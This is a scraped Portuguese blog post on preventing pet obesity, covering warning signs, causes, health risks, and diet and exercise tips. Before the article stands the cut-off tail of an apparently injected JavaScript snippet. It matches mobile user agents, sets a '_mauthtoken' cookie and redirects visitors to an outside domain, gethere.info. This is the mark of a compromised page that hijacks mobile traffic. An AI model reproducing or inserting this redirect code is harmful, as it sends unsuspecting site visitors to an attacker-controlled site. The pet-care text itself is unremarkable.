|\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}

Como Prevenir a Obesidade de seu Animal de Estimação

sábado, 21 de setembro de 2013 às 10:13

Aprenda a Prevenir a Obesidade de seu Animal de Estimação A obesidade animal, principalmente a canina é um dos problemas de saúde que mais crescem hoje. Tal como com as pessoas, a obesidade leva a uma variedade de doenças, desordens e outras complicações em animais. Para se ter uma ideia do problema, nos EUA já existe o Dia da Consciência Nacional de Obesidade Pet que é dia 9 de outubro.      

Como saber se o animal está Obeso ou com sobrepeso

Quem pode dizer com certeza se o animal está acima do seu peso é o Veterinário, mas existem dois testes básicos que podem ajudar que são: Você NÃO vê  a  linha de cintura em seu animal de estimação, deve haver uma redução moderada na cintura apenas após a caixa torácica. Uma linha reta indica um cão acima do peso. Se você não pode sentir as costelas com o passar de mão nas costas do animal é sinal de excesso de peso. Outros sinais de alerta são a intolerância ao exercício e preguiça.

Causas da obesidade animal

Existem muitas razões e fatores que torna um animal obeso. Os culpados principais tal como nos humanos, são dietas impróprias e falta de exercícios físicos. O ganho de peso pode, na verdade, são sintomas de algumas desordens hormonais, tais como hipotiroidismo ou a síndrome de Cushing. A predisposição genética também é um fator agravante, certas raças de cães são simplesmente mais propensas à obesidade do que outros.

Riscos para a Saúde na obesidade Animal

No caso da obesidade canina é perigoso porque pode levar a um grande número de problemas de saúde. Ela também pode afetar negativamente um problema de saúde existente. Falamos mais na obesidade em cães devida a proporção de cães obeso é muito maior que a de gatos. Abaixo as doenças que podem ser causadas pela obesidade: Doenças respiratórias Doenças cardíacas Hipertensão arterial Diabetes Lesões ortopédicas Osteoartrite Câncer

Como manter seu animal no peso

Verifique o peso de seu animal regularmente para manter monitorado,  assim é mais fácil saber quando aumentar o exercício e diminuir a comida. Passeie com seu animal, o exercício vai beneficiar tanto  você quanto ele. Alimente seu animal com uma ração balanceada, ou aprenda Como Fazer Ração Caseira e Natural para seu Cão Limite porções de alimentos,  você pode usar a  ração como premio de treinamento durante o dia, em vez de alimentá-lo com toda a sua refeição ao mesmo tempo. Troque os brindes e guloseimas por frutas e vegetais frescos como  bananas, maçãs, cenouras, alface, etc.. Evite frutas cítricas, uvas ou cebolas. Fuja de medicamentos para emagrecimento para animais, principalmente o  chamado  Slentrol ou dirlotapide Quem ama cuida! [Foto] Artigo original: Como Prevenir a Obesidade de seu Animal de Estimação